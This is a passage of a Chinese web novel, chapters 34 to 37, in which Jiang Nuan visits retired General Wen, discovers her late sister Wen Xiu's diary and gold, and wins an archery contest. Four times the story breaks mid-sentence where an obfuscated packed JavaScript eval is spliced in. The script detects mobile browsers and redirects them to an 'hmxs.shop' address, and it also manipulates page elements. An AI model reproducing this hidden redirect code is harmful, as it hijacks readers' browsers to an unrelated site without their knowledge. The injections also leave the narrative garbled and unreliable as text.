唐田之前无意从大理寺的同僚口中得知谈大人给姜暖送了几天野菜饼,以为谈大人对姜暖有什么想法,他便偷偷去打听两人最近有没有过密的交往好给他们家世子通风报信。 谁知两个人什么也没有,平日里也不经常碰面,偶尔碰上才会分点家中母亲给他做的吃食,大部分还是姜暖厚着脸皮问的。 不过想打听的没打听个所以然出来,其他的琐碎八卦他倒是一点都没漏。 得知两人没啥后,他自然也不敢去世子面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688646|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹦跶他这几日的所作所为,但是心里憋了一肚子小道消息,他就抓了唐枳蛐蛐。 蛐蛐完发现他们家世子不知道在他背后站了多久,唐枳也不晓得提醒他! 最后,他又只能悲催地去扫厕所了。 而唐田的小道消息大多是谈大人隔壁家的一位大娘一股脑倒给他听的,许是太久没人同她说话了,她愣是拉着唐田说了一下午。 要说起谈望舒的那个妹妹,还得从承安九年说起。 当年谈望舒中了探花,没过多久就把老家的老母亲接过来了,一道来的还有一个长相娇俏的女子。 大娘说她当时在墙角摘豆角,听到了马车停下的声音便探出半个头看。她一早便知道隔壁屋主是今年的探花,想着应该是探花郎将老家的母亲接过来享福了。 不一会儿果然见马车里头下来一个头发梳得规整的婆子,那时谈母的两只眼睛还尚好,精神头也不错,虽然穿着一身粗布衣裳,但浆洗得很干净。 她正想搁了手里的活计过去打招呼,却见谈望舒从马车里又牵了一个人下来。她清清楚楚地听到他唤了一声:“晚娘,小心。”那满眼的柔情和小心翼翼的模样,她以为是探花娘子。 在她愣神的工夫,人便进了院子。 后来听街坊说起,才知道那是谈大人的妹妹,因为生了重病只能在屋内休养,平日极少出门。但是见过的人都夸她模样长得好,有人甚至动了说亲的念头,但都被谈大人挡回去了。说是幼妹身患重病,不宜嫁人。 一开始大家都以为是舍不得貌美的妹妹嫁人找的说辞,便没当回事。直到后面晚娘子在外发病,那模样像是癔症发作,整个人时而哭时而笑。大家这才信了谈大人的话,往后便再没有人上门替他妹妹说亲。 大娘心道可惜了,明明模样这般娇俏,怎么就病成这样,也不知道是哪个杀千刀的给害的。谈母笑笑说是娘胎里带来的,她自然是不信,但也探听不出来便作罢。 两家人只隔了一个墙头,大娘时常上门探望,与谈母拉家常,每每看到晚娘子,都会道一句可惜。 直到有一日,她无意在自家院墙下听到一些话,才知晓,这晚娘子哪里是谈大人的妹妹,竟然就是谈大人挂在嘴边的未婚妻! 唐田瓜子皮嗑了半斤终于听到了得趣的地方,忙问大娘那日听到了啥。 结果大娘说,就约莫听到了两三句。 晚娘子劝谈大人早些娶妻,何必守着她,她们的婚约早已不成了。 谈大人让她别胡思乱想只管安心养病,一切等病好了再说。 晚娘子便哭,说是好不了,也找不到了…… “晚娘子在找什么?”唐田急得瓜子掉了一地。 那大娘摇摇头,叹道:“我也没听清,好像是找什么玉啊宝啊的……” 后来,她日日在墙头候着,却什么也听不到了。隔壁小院一直静悄悄的,再后来,便是晚娘子突然病逝了。 姜暖听完觉得心口莫名一阵抽痛,她抬手揉了揉,道:“怪不得方才谈大人说是故人。” 原来还有这层意思。 宋怀轩听罢也出神良久,这或许便是温岫将军嘴里所说的,一生一世一双人吧。 姜暖觉得胃里有什么东西在翻涌,一直往她的嗓管处冲。 “你怎么了?”沈晏发现姜暖的脸色不太对。 话音刚落,姜暖立即勒马,还没等马停下她便一个翻身跳下去,扶着路边的树干哇哇吐了起来。 宋怀轩目瞪口呆,这是听吐了? 沈晏则担心中夹杂着无奈,取了水囊过去,拍着她的背脊道:“早同你说过吃饭别吃得太撑了……” 姜暖眼冒金星地吐完,接了清水漱口。 “还不是怨你,那日非要在房顶上吹一夜冷风。我风寒了几日还没好利索呢,今日又一大早抓我出来,这马骑着颠得我难受。” 沈晏在她背上轻轻拍着,放柔了声音道:“下次不会了。” 宋怀轩:? 安王世子这是在……干嘛? 姜暖漱完口,眼睛湿漉漉的,像刚刚哭过似的,鼻头也是红的,看起来楚楚可怜。但她浑然不知,反而瓮声瓮气道:“我信你才有鬼。” 那哼哼唧唧的模样在沈晏看来,倒像是撒娇了。 沈晏抿着嘴不敢笑,将手帕递给她擦嘴,“擦擦吧。” 宋怀轩觉得不止耳朵出问题了,眼睛应该也出了点问题。 他突然觉得他是不是不该在这里,怎么感觉如坐针毡了。 35. 第 35 章 无名居在静山最北边的山峰下,那里有一处天然的温泉。 温老将军的双腿不良于行已久,在五年前更是加重了许多。后来温岫战死,平南军原本的温家亲兵死伤大半,温老将军便有了卸甲归田的意思。但皇上当时只是收了兵权,仍保留了他将军的名衔,还将此处的别院赐给他疗养腿伤。 此地原本叫汤泉行宫,后温将军搬过来长住之后,便改成了无名居。 无名居内只有三两个老仆和一条老狗陪着他,孟府每个月会派来一些家丁丫鬟过来打扫和整理一下院落。 倒也算是清静。 无名居不算大,一踏入大门便将整个居所前院尽收眼底。院中的陈设都比较简单,花草树木和山石置景都是就近取材,没有过多人为的修剪和打磨,主打一个野性但不野蛮。 院中有一老仆正在晾晒药包,见门下来人,忙上前去询问。 老仆走近方看清是安王世子,立马喜笑颜开道:“世子有些时日没来了。”又看了看左右二人,问:“这二位是?” 宋怀轩上前一步,行了个抱拳礼道:“晚辈名叫宋怀轩,北荒戍边守将宋辙乃家父。此次前来,是代家父拜访温老将军。” 老仆忙回礼道:“原来是宋副统领,恕老奴老眼昏花一时没能认出来。” 姜暖微微躬了一下身体,道:“晚辈姜暖。” 老仆亦回礼道:“原来是姜录事,久仰大名。” 姜暖:? 这大名是从何仰起。 她只当作是个客套话。 四个人在门口你来我往寒暄完,又随着老仆的脚步往里走。 虽然这座宅院好似一眼能看穿,但中间的庭院很大,从抄手游廊七拐八拐走到主殿也要个几百米的脚程。 老仆一边在前头引路,一边道:“将军他刚刚去了后院泡汤泉,贵客且在正堂用些茶点。” “余伯伯你忙,我晓得路。”沈晏说。 老仆听罢,也不跟他客气,便离开了。许是已经稀松如平常了,便没有那么多的虚礼。 温老将军每日会在睡前浸泡温泉沈晏是知道的,没想到才几个月没来,连晨起都要泡了,想必是腿疼的毛病已有愈发严重之势。 三人到正堂落座,便有另一个老仆进来放置茶水糕点,脸上始终笑眯眯的。待到离开时他朝沈晏做了几个手势,沈晏道:“一切都好,谢谢吴伯伯挂心。” 姜暖和宋怀轩这才看出这个姓吴的老仆是个哑巴,不过听力尚在。 “我听我爹提起过,温伯伯当年有几个交情甚好的下属,分别是叶知秋、余三和吴霆。”宋怀轩看着那略微佝偻的背影,道:“若我没猜错,方才那个应该就是吴霆吴前锋。” 沈晏点点头,又道:“刚刚进门迎接我们的便是余偏将。” 宋怀轩一时喃喃:“从前只听说这三人不知去向,没成想竟是在这里。” 这三人在大昭的将领里虽然并不怎么有名,但他多少还是知道一些他们的事迹。 叶知秋原本是江湖客出身,武功一般,但略有谋略,早些年在温老将军手下做了个小参军,温将军年轻时候的几场胜仗便有此人的参与。 余三早年间原本是在山上当土匪的,后来温老将军路过,顺手为民除害便纳入麾下。他最开始是从火头军做起,后来渐渐上了一线,不过有一次被流箭伤了眼睛,便又退回了幕后。 而吴霆则是温老将军手下一员猛将,原本能大有作为,可惜后来不慎脑袋受了重伤,差点没救回来。他如今不能说话,也是因为受了伤的缘故。 当年若是这余、吴二人没有意外,五年前青罗城没有那场战事,温老将军也不会卸甲。说不准这三人早已功成名就,与温老将军在营帐前把酒言欢了。 姜暖听着宋怀轩感慨,心里想的却是,哪儿有名将到白头啊。如今四人都全须全尾地聚在这偏远之地,何尝又不是一件幸事呢。 片刻后,温老将军姗姗来迟,三个人忙起身相迎。 姜暖打量着眼前这个坐在轮椅上略显清瘦的老人,倒有些意外。原本以为会是个死气沉沉的老头子,没想到看起来精神头还挺好。头发也只是两鬓斑白而已,眉毛和胡子倒是黢黑,修剪得十分整齐。 推着轮椅的是个稍微年轻一点的中年人,估计五十上下。气质很凌冽,像一把刀,端得是横平竖直。 在他们后面还跟着一条大黑狗,不过走起路来一摇一摇的吃力得很,看着像是一条上了年纪的老狗,步履蹒跚地跟着主人出来迎客。 “世子你可有段日子没来看我这个糟老头子啦。” 人刚到正堂,笑呵呵的话紧跟着落下。一看这屋里还有旁人,笑得更开心了,“哎哟,今日倒是稀奇,竟还带了两位小朋友来。” 沈晏同两人见了礼,解释道:“我就带了一个。”说着回头看了一眼姜暖。 姜暖心领神会连忙上前见礼,宋怀轩落后了一步道:“温伯伯,你这些年来可好?” “自然是好得很。”温容与笑容不减,打量了一下眼前这位壮实的少年,道:“宋辙家的吧?上一次见你还是在你的满月酒上,没想到都这般大了。” 宋怀轩有点憨憨地挠了挠后脑勺,显出了一丝难得的孩子气来。 “都坐都坐,来这儿还客气什么。” 招呼人坐下之后,叶知秋将温容与推到了主位,便出去招呼余三来给温容与换上新的药包,自己则拐去了厨房,同吴霆商量中午做什么样的膳食。 沈晏和宋怀轩分别在温容与的左手边一一落座,姜暖便在沈晏的对面坐下,屁股当碰到板凳便感觉到有个东西落在了自己的脚背上。 她低头一看,原来是那条大黑狗趴在了她的旁边,尾巴刚好搭在了她的脚背上。 姜暖觉得还挺有趣的,偷偷用脚去踩他的尾巴玩,踩一下狗就回头无辜地看她一眼,她又将脚挪开。等狗不看她了,她又去踩一下,狗又回头看她。 一人一狗也就这么旁若无人地玩起来了。 这狗脾气也挺好,不生气,也不换地方,就这么纵容她玩着自己的尾巴。 不过半晌都没听到屋里有人说话,姜暖疑惑地抬头,发现三个人都看着自己。 她突然觉得有些燥得慌。 温容与笑道:“煤球对不熟悉的人向来不假辞色,没想到与姜姑娘倒是有缘。” 沈晏戏谑地挑了一下眉,脸上似笑非笑道:“没想到你还招狗喜欢?” 姜暖清了一下嗓子,不着痕迹地白了沈晏一眼,看向温容与:“将军说这狗叫煤球?” 倒不是她大惊小怪的,而是她从前也养过一只黑狗,也是叫的这个名字,不过可惜两岁的时候便死了。 温容与点点头,脸上的笑意变浅。 “温岫那丫头取的,说是这狗与她有缘,非要捡回来养。” 早前,沈晏曾给他送过一封信,提起过眼前这位姜姑娘,他知晓沈晏今日带这姑娘来的意思。又说:“姜姑娘等很久了吧?” 这话说得倒是一语双关,姜暖从怔愣中回神,撞进了一双慈爱的眼眸。 温容与转头对沈晏说道:“世子你带姜姑娘四下转转吧。”说罢又看向宋怀轩:“怀轩我与你父亲多年不见,不知你父亲现如今在北荒如何了?” 两人开始聊起了从前,沈晏便带着姜暖出去了。 …… 温岫将军当年并没有找到尸体,两边山体垮塌,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694285|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将人埋在了山石之下,挖掘困难。温容与回到昭宁城后,便在无名居附近给她立了一个衣冠冢。她生前的遗物也都一道收纳了过来,放在了单独的小屋里。 姜暖知道无名居居住的是谁之后,她便猜到沈晏特地带她来肯定是因为温岫。 她原本以为人死如灯灭,温岫可能并没有留下什么遗物,不过能从温老将军的嘴里得知关于她的一两件事也挺好。 等她推开门的时候,突然就对师父曾经来过这个世界有了实感。她改名温岫,成为大昭的将军,留下一段段传奇故事,也留下了一屋子她来过的痕迹。 屋子是向南的,明亮宽敞,采光十分好。桌椅板凳都有,就像这个屋子真的有人住一样。 墙上挂着一些她自创的一些名言警句,还有几幅抽象的画作。她常用的兵器都堆在墙角的架子上,旁边还有一个大木箱子,箱子里是一些奇奇怪怪的石头。 姜暖随手拿起一个,鼻尖开始有点泛酸。 这个是师父独有的癖好,每到一个地方便喜欢捡一些她自己觉得好看的石头,还喜欢在石头上作画。 无非是火柴人热血漫画之类的,无头无尾,全凭当下的心意而为。 她以前曾立志说以后退休了便去画少年热血漫画,但是人到三十五还只会画火柴人大战机器狗。 没想到来了这里,画技合审美丝毫没有得到提升,还是画火柴人大战机器狗。 姜暖嫌弃地瘪了瘪嘴,眼泪却吧嗒吧嗒往下掉。 书桌上放着两个小匣子,第一个里面放了一本做工粗糙的日记本。姜暖翻开来看,是熟悉的字体,来自千年后的现代还夹着几个英文单词。 日记本并没有被写满,只记录了一些温岫认为重要的事。 比如她刚来这里时,比较倒霉占据了一个刚死不久的五岁小女孩儿身上,细胳膊细腿儿连饿急眼了的野狗都打不过,差点命丧狗肚子。不过幸运的是,被一个看起来非常高大正气的青年男子捡回去了。她自然是赶紧抱好大腿,努力让自己在这个陌生的时代茁壮成长起来。 后来便是记录一些寻找姜暖的心路历程,虽然始终找不到一丝姜暖的踪迹,但是她却坚定地相信,姜暖一定和她一样幸运在这个时代重新拥有了一次生命。 到后面就是她突然提到昭宁城来的小世子不孬,人帅有脑子,但是不乐意喊她师父。她太失望了,开始无比怀念姜暖每日追在自己屁股后面喊她师父的日子。 看到这里,姜暖红着眼眶翻了个白眼,她师父好像对养崽子有一种莫名的狂热。 在日记的最后则是写道,如果她有一日不幸死在了战场上,那她所有的遗物都将由她的妹妹姜暖继承。 中间有两道墨痕,似乎是删改的痕迹,想来是措辞了几番,最终只留下了简单的几句。 眼泪迅速将日记的最后一篇打湿,姜暖从来不知道自己这么能哭。 她打开第二个匣子,看到里头躺着的金元宝时,突然又笑出一个鼻涕泡来。 终于把最有用的东西抬上来了。 姜暖再也忍不住,伏在桌上哭得稀里哗啦的。 沈晏在门口站了挺久,一开始还能听到屋里有抽泣的声音,到最后直接没动静了。 他犹豫再三敲了敲门:“姜暖,我能进来吗?” 没人回他。 他心里慌乱了一下,直接推门而入,伏在案桌上的姜暖,一动不动。他心头猛地跳了一下,往前小跑了两步。 就在他以为姜暖是不是寻了什么短见的时候,将人翻过来一看,发现她睡得很香甜。脸上就跟被猫舔了似的,还印上了一点墨痕。 沈晏:“……” 这究竟是哭累了还是哭晕了。 36. 第 36 章 沈晏将人抱起来,打算放到床上。谁知刚刚站起来,怀里的人就抖了一下。 “唉我金元宝呢!” 姜暖眼睛还没完全睁开,手已经拼命地划拉了半天。 沈晏垂着眼看着怀中神智未清的人,一时竟说不出一个字来。 姜暖则在完全睁开双眼的一瞬间,扑腾了一下腿,跳出了沈晏的怀抱,一把扣住了那装了金元宝的匣子。 她刚刚迷迷糊糊好像这玩意儿被她给弄掉了。 沈晏看了看自己还保持搂抱的胳膊,又看了看那个背对着自己的女人,长叹了一口气。 姜暖看金元宝没少,心里登时松了一口气,正想回头问沈晏自己刚刚怎么睡着了,却听到了庭院中传来嘈杂的声音。 好像是又有人来了。 姜暖将匣子往怀里一揣,跟在沈晏的后头出了房门。 只见偌大的庭院中站了两个娇小的身影。 “你们怎么在这里!”孟曦一抬头便看到沈晏和姜暖从姨母的房间里出来,一双眼珠子都快瞪出来了。 余三则立在一旁尴尬地解释道:“他们是将军的客人。” 一般来说,安王世子若来拜访,定是要和孟家的人错开时间的,特别是要跟眼前这位小姐错开,不然场面就会显得尴尬。 果不其然,他话刚一落地,这位大小姐便气得叉了腰。 “什么客人不客人,本小姐不答应!他不准来这里!”她回头执拗地想让余三将人赶出去,余三可难办了,连忙说药炉子上的药熬干了,腿脚利索地溜了。 站在她身后半天的苏酥忙不迭去扯她的袖子,轻声细语道:“曦姐姐,我们还是回去吧。” 孟曦像是才发现苏酥也在,楞了一下,想着今天还有更重要的事,便强行压下了火气,打算暂时不管这两个人。 她恶狠狠地朝两个人的方向哼了一声,正打算离开,却冷不丁一眼撇到了姜暖怀里露出的半个匣子来。 她的表情似乎难以置信,指着姜暖道:“你竟然偷我姨母的东西?” 难怪刚刚两个人一前一后鬼鬼祟祟地从姨母房间里出来,原来是来偷东西的! 她二话不说,撸了袖子就上前去抢,“你给我还回来。” 姜暖一听就知道坏了,要引发一场误会了。 刚刚不应该手快将这玩意儿揣怀里的,虽然温岫明确写了这东西是给她的,但她还是应该在拿取之前告知一下这里的主人才对。 真是一时间财迷心窍了,拿的太顺手了。 她第一时间解释:“我没想偷啊,这东西是你……姨母给我的。”她说完对沈晏使眼色,“你帮我说句话啊,世子。” 沈晏淡淡地看了她一眼:“我觉得眼下这情况,我不说话对你比较好。” 姜暖竟无言以对。 孟曦看了两人一眼,显然不信姜暖的说辞,她劈手夺过那个匣子道:“撒谎,这屋里的东西都是我姨母留给她失散的亲妹妹的。” 姜暖内心:对啊,我就是她失散的亲妹妹。 孟曦打开匣子看了一眼,然后眼神鄙视地看着姜暖:“一拿就拿金元宝,还说不是贼?” 姜暖:“……” 确实,她突然也有点鄙视自己,怎么这么喜欢钱呢。 沈晏在旁边憋笑。 “曦儿,你怎么过来了?” 正在姜暖不知道怎么辩解的时候,叶知秋推着温容与过来了,宋怀轩老实巴交地跟在后头。 苏酥的头恨不得低到土里去,只敢飞快地往宋怀轩方向偷看一眼,耳朵到脖子瞬间变得红彤彤的,身体都要和孟曦贴到一处了。 “我……我来看你呀外公!”孟曦满脸笑容地回头,拉着苏酥的手像个兔子似的一蹦一跳地过去。 温容与眼睛无意地往后瞥了一下,都不想戳穿眼前这个鬼精灵,“你不是前些日子才来过么?” 孟曦凑到温容与旁边蹲下,天真可爱道:“这不是又想外公了嘛!” 温容与宠溺的捏了一把她的脸,暂且接受了这个理由。 “外公,我还带了一个朋友来看你呢。”孟曦说着把身侧的苏酥往前一推,“她叫苏酥,是孙女最好的手帕交。” “原来是苏柏舟苏大人的闺女。”温容与笑着打量了一下眼前这个害羞带怯的少女,听说前段时间宋家的老太太相中了礼部左侍郎的女儿,想来便是此女了。 苏酥似乎是胆小,连给长辈见礼都是细声细气的,要是碰上耳背的,说不定都听不到。 一直没什么表情的叶知秋看见了孟曦手里的匣子,突然变了脸色。 “孟曦小姐,这匣子怎么在你手上?” 温容与这才发现孟曦手上拿得是什么,他看了一眼脸色不自然的姜暖,心里大概猜到了是怎么回事。 提起这个匣子,孟曦刚刚的火气又回来了。 “不是我。”她转身指着姜暖道:“是她偷出来的。” 温容与:“曦儿,不许胡说。” 孟曦:? 温容与又道:“是我让她拿的。” 更是扔下了惊天一句:“她便是你姨母失散多年的亲妹妹。”震得孟曦的眼睛瞪得比刚刚还大,好像是听到了什么天方夜谭。 温容与招招手让姜暖过来,并吩咐孟曦将手里的匣子还给姜暖。孟曦瞪着一双大眼睛,不可置信地将手里的匣子交到了姜暖手里。 姜暖觉得今日这脸皮也算是臊够了。 等挨到了中午用膳的时候,场面简直是群魔乱舞。 宋怀轩和孟曦吃一口菜看她八百遍,孟曦似乎是很难接受这个事实,眼珠子一会儿复杂地看着她,一会又嫌弃地看沈晏,不知道脑子里在上演什么爱恨交织的剧场。 宋怀轩就比较直白,一会儿是原来如此的惊喜,一会儿是你竟然一直瞒着我的幽怨,瞧得姜暖好像做了什么辜负真心人的恶事一般。 而苏酥则是偷看宋怀轩,一直留心着宋怀轩夹哪个菜和不夹哪个菜,抽空也看姜暖,眼神透露出一点小悲伤。 姜暖被看得有点受不了了,然后她灵机一动,给宋怀轩夹了一块鱼腩。 “这鱼腩不错,你尝尝。” 宋怀轩吃饭的筷子停了一下,心想这应该是姜暖在为没有及时告诉他,她是温岫将军亲妹妹这件事给他赔礼道歉呢。 于是大方地夹起鱼腩吃了一口,“嗯,是不错。”姜录事想必之前瞒着她也是有原因的,他不应该为这点小事生朋友的气。 宋怀轩把自己劝好了便开始专心用饭。 孟曦倒是突然被惊得一口饭差点没兜住,她先是慌张地看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702968|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼苏酥,发现苏酥眼睛都红了,人恍惚地只扒拉着碗里的白米饭。 她的脑子彻底泵机了,突然就陷入了,如果好闺蜜和小姨母同时看上了同一个男人,她该帮谁的困境中。 沈晏凉飕飕地看了一眼宋怀轩,他开始往姜暖碗里夹菜。 姜暖看他一眼,怀疑他脸色不佳地一直往她碗里夹菜是不是想撑死她,然后她也往沈晏的碗里夹菜。 要死大家一起死! 姜暖夹了两筷子后,沈晏消停了,心情突然又变好了。 整个一莫名其妙。 此后多年,宋怀轩一直到洞房花烛夜那天,才明白过来,今日在无名居的饭桌上,安王世子一会儿板着脸看他,一会儿笑着看他,前后不过一刻钟,这截然不同的两眼究竟是什么意思。 等用过了午膳,温容与因为身体的原因需要午睡,便由叶知秋推去卧房了。余三因为要去城里购置药材,收拾了碗筷也出门了。只剩下吴霆陪着五个小辈在后院开拓的一个小型练武场活动筋骨。 宋怀轩早就想见识一下吴霆的百步穿杨,几个人便在练武场架了几个靶子打着玩。 但吴霆有旧伤,如今只能勉强搭弓射一箭。 宋怀轩不免失落一二,虽此生已无缘亲见百步穿杨的威力,但能得吴霆的指点,他也算得上三生有幸。 姜暖对射击有着天然的兴趣,沈晏自是瞧出来了她的跃跃欲试。 “想玩吗?我教你。” 姜暖自然不会拒绝,早就听唐田吹过,他们的世子十八般兵器样样精通,骑射一项更是一绝。她今日正好体验一下,取了一把趁手的弓便跟沈晏下了场。 另一边,孟曦和苏酥耳语了两声,也拿了两把小巧的弓箭下场玩。 “就这么打靶多无聊啊。”孟曦突然提议道,“不如我们来一场比试如何?” 正在教姜暖如何正确拉弓的沈晏有些不悦地抬眼看了眼她,她好似没看到继续说:“我们三个姑娘都不会射艺,不如你们三位各自带一个徒弟。以一个时辰为限,最后由我们三个来比试如何?” 宋怀轩已经在吴霆的指导下射出了漂亮的一箭,这会儿正开心呢,完全没有听到孟曦在说什么。倒是沈晏给了她面子,问:“指定还是抓阄?” “公平起见自然是抓阄!” 沈晏的手搭在姜暖的肩膀上,指导她的站姿。“那没兴趣。” 孟曦气哼哼地咬了一下下嘴唇,她看着姜暖的脸,眸中突然灵光一闪,道:“第一名的彩头是一百两纹银如何?” 姜暖举手:“我参加!” 有了姜暖加入,沈晏自然不会拒绝,比试的事情也就好办多了。 吴霆和宋怀轩一脸懵逼地被动加入,孟曦将准备好的纸团子扔在了桌上,盖着茶碗晃悠了两下。 她和沈晏交换了一下眼神,沈晏伸手淡定地抓了一个,并迅速地在袖子中交换了一下。纸团展开,上面写着姜暖的名字。 姜暖倒是无所谓,反正她一定会是第一名。 宋怀轩抓了第二个,上面写着苏酥的名字。他下意识打量了一下苏酥的细胳膊细腿儿,觉得估计要垫底了。 苏酥冷不防被看这一眼,下意识地站直了些,人也在慢慢变红。 孟曦眼见目的达成,心里顿时松了一口气。 37. 第 37 章 说是比试,但最认真的只有姜暖。 孟曦虽然之前跟吴霆学过一二,但今日心思都在苏酥那边,哪儿还顾得上认真练习啊。吴霆一早就看出了端倪,聪明的他早就揣着手在廊下喝茶了。 年轻人的事他这个糟老头子就不掺和了。 孟曦心不在焉地练习,十靶九不中,频频地往旁边看。 宋怀轩全程十分守礼,仿佛苏酥真是他手下的一个兵。虽然谈不上严厉,但也绝不温柔。 “苏小姐,你的胳膊要抬起来。”宋怀轩拿着一支取了箭头的箭杆,轻轻点了一下苏酥的胳膊肘。 “哦,好。”苏酥红着耳朵,颤颤巍巍地将胳膊努力往上抬了抬。 箭杆按在她的前臂上,宋怀轩拧着眉头,“别晃!” “我我我控制不了。”苏酥瞬间绷直了身体,原本白嫩的面庞浸染上了一层绯红的颜色,更显得楚楚可怜。仿佛是蜷缩在一头灰狼下瑟瑟发抖的小白兔。 “你别紧张,放松点……” 哐当—— 苏酥手里的弓箭掉在了地上。 孟曦:“……” 好严肃的教学氛围,这对吗? 反观姜暖那边。 沈晏将她整个人都环抱住,大手覆盖在她的手上,取箭搭弓。 好一副金童玉女图。 两人的身体紧贴着,姜暖能感觉到后背有源源不断的体温传来,鼻尖萦绕着他身上特有的香味。 过于暧昧了吧。 姜暖忍不住问:“你教人都这么教的?” 贴这么紧,是正经教学么? 沈晏的鼻息喷薄在她的耳侧,嗓音温柔:“第一次。” 姜暖有点怕痒地偏了偏头。 沈晏将手搭在她的腹上往里带,“别动。” “发力的姿势很重要。” 姜暖强忍住耳边若有若无的痒意,在沈晏手把手的教导下放出了一箭。 正中靶心。 “不错。”沈晏声音愉悦。 姜暖回头夸了一句,“有两把刷子嘛。” 他们两个人的气息几乎是纠缠在一起,从孟曦的角度来看,二人可称得上亲密无间。 她又回过头去看苏酥和宋怀轩。 宋怀轩始终保持离苏酥两步远的距离,只用手里的那支破箭杆做指导用,表情严肃地好似学堂上的夫子。 “……” 真是一点旖旎的氛围都没有啊。 “我会了。”姜暖一把推开沈晏,道:“我自己试试。” 刚刚沈晏大概跟她讲了一些技巧,又手把手实验了几次,力度和角度她大概摸索清楚了。 凭借多年的射击经验,她对于这种射击游戏自然信心十足,不说次次命中靶心,但至少不会脱靶。 一连三箭下去,越发顺手起来。 没有想象中的难嘛! 姜暖信心暴涨,觉得那一百两纹银已经是她的囊中之物了。 “你去歇着吧,我自己练练。” 被叫去歇着的沈晏:“……” 用完就丢? 孟曦看着沈晏吃瘪的脸,没忍住笑出了声音。 看来这边也有不解风情的人。 “你你别哭啊……”好像另一边出现了一点小意外。 苏酥红着眼眶,宋怀轩在旁边手足无措。苏酥将眼泪憋了回去,嗫嚅道:“我不笨的,我会努力学的。” “这不是笨不笨的问题。”宋怀轩抓了抓脑袋,他刚刚只是建议苏小姐退出,毕竟她弱得连最轻巧的弓都拿不稳,参加比赛毫无意义。 但他刚说完,这位苏小姐就要哭了,他不知道女孩子这么容易哭,一时急得头发都抓掉了几根。 苏酥鼓起勇气伸手去拉他的袖子,怯怯地问:“那你继续教我好不好?我会努力做到最好。” 她仰着脸看宋怀轩,眼里有一股执拗。 宋怀轩静静地看了一会儿她哀求的眼神,最终还是心软下来,叹了一口气道:“那继续吧。” 孟曦把刚准备踏出去的脚又瞬间收回来。 一个时辰后,苏酥勉强能把箭颤颤巍巍地射出去,但力度太小,够不到箭靶。 “苏小姐别气馁,日后勤加练习,定能命中靶心。”宋怀轩看着苏酥的眼神带了点欣赏。 苏酥有点害羞地点了点头,虽然掌心被磨破了一点皮,但她却并不觉得有多疼,反而心里头很高兴。 最后的比试,自然是姜暖赢了,而且赢得很漂亮,三箭都中了靶心。 孟曦还从她刚刚拉弓的神态里隐约看到了点姨母的影子,虽然她们两个人的外表并没有相似之处,但姜暖无意识的小动作里总是会透露出一点姨母当年的风骨来。 难怪当日在宋府总觉得姜暖给她一种很熟悉但又说不上来的感觉。 姜暖笑眯眯地接过银票,觉得今日出门遇到了财神送钱。 沈晏摊出了掌心。 姜暖警惕地看着他:“干嘛?” 沈晏理直气壮:“学费。” 姜暖觉得此人颇有点不要脸了,但她还是大方地表示等这个月的月钱下来,将薪水都分给他。同时心里不禁盘算着,还是得早点在外头租一个房子住,免得事后沈晏给他清算房租钱。 等用了晚膳,他们几个便踩着黄昏的落日离开了。 三人骑着马慢悠悠地跟在孟府马车的后头,还没走几步,身后便有人追赶而来。 姜暖听声音回头一看,发现是那个几乎不怎么说话的叶知秋叶前辈。 他似乎有话跟姜暖说。 等到其他人往前走了一小段,叶知秋才开口道:“你们真的来自几千年之后吗?” 姜暖震惊:“我姐跟你说的?” 她师父到底跟多少人讲过啊…… 叶知秋点了点头又摇了摇头,解释道:“她曾经提过,但我当时以为是说笑。” 他垂下了眼,又说:“后来……老将军说,她说不定是回到她的来处去了。” 这个说法不过是安慰之词,不过他们愿意相信。 “所以,你和她真的是从千年之后来的吗?”他抬起头,一错不错地盯着她瞧,眼里盛满了期望。 姜暖突然想起日记本最后被划掉的两句话,其中有个字似乎是个秋字。 她重新打量了一下眼前这位长相普通但气质卓越的男人,好像确实是她师父喜欢的类型。但她却没办法说,她们两个人都是身死魂穿过来的,就算在这个时代死去,估计也是回不去的。 姜暖点了点头,好奇地问:“你跟我姐是……?” 她要改口喊姐夫吗? 叶知秋不自然地移开了视线,解释道:“清白的清白的。” 虽然,温岫二十岁的时候曾将他拦住,并提出想跟他谈个恋爱,但他觉得此想法有违礼制便拒绝了。 彼时他已三十有二,原本家乡有一个未婚妻,在他参军不久便病逝了。此后他一直在军中奔波,倒一直没时间和心思去想儿女私情。 当时的温岫早已功成名就,他自觉配不上这明月一般的佳人。对于温岫离经叛道的想法也不能苟同,认为只有十里红妆八抬大轿才配得上她,也绝不同意她如此自轻自贱就跟了他。 两人最后自然是不欢而散,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 